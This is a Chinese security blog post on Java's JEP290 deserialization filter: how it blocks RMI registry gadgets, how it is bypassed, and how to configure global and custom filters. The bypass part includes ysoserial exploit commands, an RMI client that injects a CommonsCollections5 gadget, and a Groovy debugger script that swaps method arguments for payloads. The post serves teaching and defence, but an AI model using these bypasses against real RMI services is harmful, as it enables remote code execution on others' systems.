JEP290简介
JEP290增强机制是在2016年提出的一个针对JAVA 9的一个新特性,用于缓解反序列化攻击,随后官方决定向下引进该增强机制,分别对JDK 6,7,8进行了支持:
Java SE Development Kit 8, Update 121 (JDK 8u121)
Java SE Development Kit 7, Update 131 (JDK 7u131)
Java SE Development Kit 6, Update 141 (JDK 6u141)
JEP290主要做了以下几件事:
-
提供一个限制反序列化类的机制,白名单或者黑名单
-
限制反序列化的深度和复杂度
-
为RMI远程调用对象提供了一个验证类的机制
-
定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器
JEP290限制
下面通过一个RMI示例来对JEP290的实际限制做一个简单的介绍:
hello.java
package RMI;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Hello extends Remote {
String hello() throws RemoteException;
String hello(String name) throws RemoteException;
String hello(Object object) throws RemoteException;
}
HelloImpl.java
package RMI;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements Hello {
protected HelloImpl() throws RemoteException {
}
public String hello() throws RemoteException {
return "hello world";
}
public String hello(String name) throws RemoteException {
return "hello" + name;
}
public String hello(Object object) throws RemoteException {
System.out.println(object);
return "hello "+object.toString();
}
}
RMIServer.java
package RMI;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIServer {
public static String HOST = "127.0.0.1";
public static int PORT = 1099;
public static String RMI_PATH = "/hello";
public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;
public static void main(String[] args) {
try {
// 注册RMI端口
LocateRegistry.createRegistry(PORT);
// 创建一个服务
Hello hello = new HelloImpl();
// 服务命名绑定
Naming.rebind(RMI_NAME, hello);
System.out.println("启动RMI服务:" + RMI_NAME);
} catch (Exception e) {
e.printStackTrace();
}
}
}
之后添加ysoserial.jar到Library,用于提供可用的Gadget:
之后使用JDK7u21启动RMIServer:
之后使用Ysoserial打CC1过去:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 calc
之后使用JDK8u271启动RMIServer:
之后使用Ysoserial打CC1过去:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 calc
发现并没有成功执行命令,错误信息如下所示,可见sun.reflect.annotation.AnnotationInvocationHandler被拒绝:
十一月 30, 2020 3:25:28 下午 java.io.ObjectInputStream filterCheck
信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 297, ex: n/a
日志信息如下:
RemoteException occurred in server thread; nested exception is: :
error unmarshalling arguments; nested exception is: :
filter status: REJECTED :
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:389)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:573)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:748)
at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(Unknown Source)
at sun.rmi.transport.StreamRemoteCall.executeCall(Unknown Source)
at sun.rmi.server.UnicastRef.invoke(Unknown Source)
at sun.rmi.registry.RegistryImpl_Stub.bind(Unknown Source)
at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:77)
at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:71)
at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)
at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:71)
at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:65)
Caused by: java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
filter status: REJECTED :
at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:94)
at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:469)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:301)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:573)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:748)
Caused by: java.io.InvalidClassException: filter status: REJECTED
at java.io.ObjectInputStream.filterCheck(ObjectInputStream.java:1329)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1994)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1848)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2158)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1665)
at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2403)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2327)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2185)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1665)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:501)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:459)
at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:91)
14 mor
JEP290过滤
一个RMI的实现流程如下所示:
在远程引用层中客户端服务端两个交互的类分别是RegistryImpl_Stub和RegistryImpl_Skel,在服务端的RegistryImpl_Skel类中,向注册中心进行bind、rebind操作时均进行了readObject操作以此拿到Remote远程对象引用,在这里跟进查看一番:在远程引用层中客户端服务端两个交互的类分别是RegistryImpl_Stub和Regis
在readObject中又调用了readObject,之后继续跟进:
然后进入readObject0()
在readObject0()之中进入readOrdinaryObject()
继续进入readClassDesc()
之后进入readProxyDesc()
在readProxyDesc()中有filterCheck
进入filterCheck()之后先检查其所有接口,然后检查对象自身:
在这里调用了serialFilter.checkInput(),最终来到sun.rmi.registry.RegistryImpl#registryFilter,在这里由于白名单中不含有当前AnnotationInvocationHandler类,所以返回REJECTED
if (!var2.isArray()) {
return String.class != var2 &&
!Number.class.isAssignableFrom(var2) &&
!Remote.class.isAssignableFrom(var2) &&
!Proxy.class.isAssignableFrom(var2) &&
!UnicastRef.class.isAssignableFrom(var2) &&
!RMIClientSocketFactory.class.isAssignableFrom(var2) &&
!RMIServerSocketFactory.class.isAssignableFrom(var2) &&
!ActivationID.class.isAssignableFrom(var2) &&
!UID.class.isAssignableFrom(var2)
?Status.REJECTED : Status.ALLOWED;
}
JEP290绕过
实现原理
在RMI远程方法调用过程中,方法参数需要先序列化,从本地JVM发送到远程JVM,然后在远程JVM上反序列化,执行完后再将结果序列化,发送回本地JVM,而本地的参数是我们可以控制的,如果向参数中注入gadget会怎么样?
我们在HelloImpl实现了三个hello()方法,分别是void、string、Object类型的参数:
package RMI;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements Hello {
protected HelloImpl() throws RemoteException {
}
public String hello() throws RemoteException {
return "hello world";
}
public String hello(String name) throws RemoteException {
return "hello" + name;
}
public String hello(Object object) throws RemoteException {
System.out.println(object);
return "hello "+object.toString();
}
}
在客户端我们向Object参数类型注入cc5的gadget:
package RMI;
import ysoserial.payloads.CommonsCollections5;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import static RMI.RMIServer.RMI_NAME;
public class RMIClient {
public static void main(String[] args){
try{
//获取服务注册器
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
//获取所有注册的服务
String[] list = registry.list();
for (String i:list){
System.out.println("已注册的服务:"+i);
}
//寻找RMI_Name对应的RMI实例
Hello rt = (Hello) Naming.lookup(RMI_NAME);
//调用Server的Hello()方法,并获取返回值
String result1 = rt.hello();
String result2 = rt.hello("Al1ex");
String result3 = rt.hello(new CommonsCollections5().getObject("calc"));
System.out.println(result1);
System.out.println(result2);
System.out.println(result3);
}catch (Exception e){
e.printStackTrace();
}
}
}
之后启动RMIServer:
之后执行RMIClient,发现可以成功执行载荷:
也就是说如果目标的RMI服务暴漏了Object参数类型的方法,我们就可以注入payload进去,那么其他的参数类型呢?在sun.rmi.server.UnicastRef#unmarshalValue中判断了远程调用方法的参数类型,如果不是基本类型,就进入readObject,之后的流程也走了filterCheck过滤:
由于攻击者可以完全控制客户端,因此他可以用恶意对象替换从Object类派生的参数(例如String),实现方法有:
-
将java.rmi软件包的代码复制到新软件包,然后在其中更改代码
-
将调试器附加到正在运行的客户端,并在序列化对象之前替换对象
-
使用Javassist之类的工具更改字节码
-
通过实现代理来替换网络流上已经序列化的对象
RASP Hook
RASP(Runtime application self-protection)运行时应用自我保护,将自身注入到应用程序中,与应用程序融为一体,实时监测、阻断攻击,使程序自身拥有自保护的能力,并且应用程序无需在编码时进行任何的修改,只需进行简单的配置即可
该方法的原理是通过hook住java.rmi.server.RemoteObjectInvocationHandler类的InvokeRemoteMethod方法的第三个非Object的参数并将其改为Object的gadget,具体实现代码如下:
https://github.com/Afant1/RemoteObjectInvocationHandler
Step 1:下载代码修改
srcmainjavaafantiraspvisitorRemoteObjectInvocationHandlerHookVisitor.java的dnslog地址
Step 2:打包
Step 3:之运行RmiServer
Step 4:运行RmiClient,其中VM options参数填写以下内容
-javaagent:C:UsersHeptaDesktopRemoteObjectInvocationHandlertargetrasp-1.0-SNAPSHOT.jar
虽然报错了,但是在DNSLog端成功收到请求:
PS:在JDK8u221版本可以,在最新版本JDK8u271版本无法执行,具体范围有待评估~
动态替换RMI
这里主要使用YouDebug来实现动态替换,原理和之前的RASP Hook一样都是先hook后替换来实现JEP290绕过,在实际场景中大多数接口是不提供接受任意类型对象作为参数的方法的,这时就需要动态替换RMI调用过程中传递的参数值:
Step 1:启动RMIServer
package al1ex;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException {
try {
// 定义服务对象
HelloService helloService = new HelloServiceImpl();
// 获取注册器,指定查找端口
Registry reg = LocateRegistry.createRegistry(9999);
// 注册对象
reg.bind("HelloService", helloService);
System.out.println("HelloServiceImpl 已绑定到 Registry ......");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Step 2:将HelloService.java与RMIClient.java两个文件拷贝到test目录下,在该目录下执行以下命令,编译为class文件,并根据包名生成对应目录
javac -encoding UTF-8 -d . *.java
RMIClient.java
package al1ex;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws Exception {
//根据ip和端口获取Registry
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
//使用Registry获取远程对象的引用
HelloService services = (HelloService) registry.lookup("HelloService");
// 使用远程对象的引用调用对应的方法
String res = services.sayHello("al1ex");
System.out.println(res);
}
}
HelloService.java
package al1ex;
import java.rmi.RemoteException;
public interface HelloService extends java.rmi.Remote {
//远程调用方法必须抛出RemoteException异常
String sayHello(Object obj) throws RemoteException;
void log(String msg) throws RemoteException;
}
Step 3:以支持远程调试的方式启动RMIClient,因为要使用ysoserial生成payload,所以要将其加入classpath,执行如下命令
java -agentlib:jdwp=transport=dt_socket,server=y,address=127.0.0.1:8000 -cp ".;ysoserial.jar" al1ex.RMIClient
Step 4:利用YouDebug(http://youdebug.kohsuke.org/)调试器来动态修改参数,YouDebug是一个支持Groovy脚本调试器,可以在java.rmi.server.RemoteObjectInvocationHandler类的invokeRemoteMethod方法中设置断点来修改传递的参数值,如下Groovy脚本即可完成该操作
// 使用的ysoserial中的payload名称
def payloadName = "CommonsCollections6";
//执行的命令
def payloadCommand = "calc";
//替换的参数值
def needle = "al1ex"
println "Loaded..."
// set a breakpoint at "invokeRemoteMethod", search the passed argument for a String object
// that contains needle. If found, replace the object with the generated payload
vm.methodEntryBreakpoint("java.rmi.server.RemoteObjectInvocationHandler", "invokeRemoteMethod") {
// make sure that the payload class is loaded by the classloader of the debugee
vm.loadClass("ysoserial.payloads." + payloadName);
println "[+] java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod() is called"
// get the Array of Objects that were passed as Arguments
delegate."@2".eachWithIndex { arg,idx ->
println "[+] Argument " + idx + ": " + arg[0].toString();
if(arg[0].toString().contains(needle)) {
println "[+] Needle " + needle + " found, replacing String with payload"
def payload = vm._new("ysoserial.payloads." + payloadName);
def payloadObject = payload.getObject(payloadCommand)
vm.ref("java.lang.reflect.Array").set(delegate."@2",idx, payloadObject);
println "[+] Done.."
}
}
}
之后执行以下命令即可:
java -jar youdebug-1.6.jar -socket 127.0.0.1:8000 barmitzwa.groovy
JEP290拓展
全局过滤器
通过系统属性或配置文件配置全局过滤器:
-
系统属性:jdk.serialFilter(通过命令行参数”-Djdk.serialFilter=”来设置)
-
配置文件:jdk.serialFilter(位于%JAVA_HOME%/conf/security/java.properties)
例如,我们可以通过以下设置禁止反序列化org.apache.commons.collections包下包括所有子包中的所有类:
jdk.serialFilter=!org.apache.commons.collections.**
以下是常见的限制属性:
- maxdepth=value // the maximum depth of a graph
- maxrefs=value // the maximum number of the internal references
- maxbytes=value // the maximum number of bytes in the input stream
- maxarray=value // the maximum array size allowed
匹配时类/包模式接受星号(*)、双星号(**)、点(.),以及正斜杠(/)符号,下面是一些可能发生的模式场景:
// this matches a specific class and rejects the rest
"jdk.serialFilter=org.example.Vehicle;!*"
// this matches all classes in the package and all subpackages and rejects the rest
- "jdk.serialFilter=org.example.**;!*"
// this matches all classes in the package and rejects the rest
- "jdk.serialFilter=org.example.*;!*"
// this matches any class with the pattern as a prefix
- "jdk.serialFilter=*;
内置过滤器
用于RMI注册表和分布式垃圾收集(DGC),这两个内置过滤器均采用白名单方式,仅允许对特定类进行反序列化:
RMIRegistryImpl:
java.lang.Number
java.rmi.Remote
java.lang.reflect.Proxy
sun.rmi.server.UnicastRef
sun.rmi.server.RMIClientSocketFactory
sun.rmi.server.RMIServerSocketFactory
java.rmi.activation.ActivationID
java.rmi.server.UID
DGCImpl:
java.rmi.server.ObjID
java.rmi.server.UID
java.rmi.dgc.VMID
java.rmi.dgc.Lease
除了这些类之外,用户还可以使用sun.rmi.registry.registryFilter和sun.rmi.transport.dgcFilter系统或安全属性添加他们自己的自定义筛选器,其属性模式语法如前一节所述。
自定义过滤器
通过实现ObjectInputFilter接口可以创建自定义过滤器,需重写checkInput(FilterInfo filterInfo)方法如下,该过滤器只允许反序列化String类型的对象,其余类型对象都会REJECTED:
class MyFilter implements ObjectInputFilter {
final Class<?> clazz = String.class;
public ObjectInputFilter.Status checkInput(FilterInfo filterInfo) {
if (filterInfo.serialClass() != null && filterInfo.serialClass() == this.clazz) {
return Status.ALLOWED;
} else {
return Status.REJECTED;
}
}
}
在JDK9中可以使用ObjectInputStream.setObjectInputFilter(ObjectInputFilter filter)方法设置自定义过滤器,老版本中可以使用ObjectInputFilter.Config.setObjectInputFilter(ois,new VehicleFilter())方法
参考链接
https://y4er.com/post/bypass-jep290
https://access.redhat.com/blogs/766093/posts/3135411
https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290
https://www.oracle.com/java/technologies/javase/javase8u211-later-archive-downloads.html
原文始发于微信公众号(七芒星实验室):JEP290攻防对抗录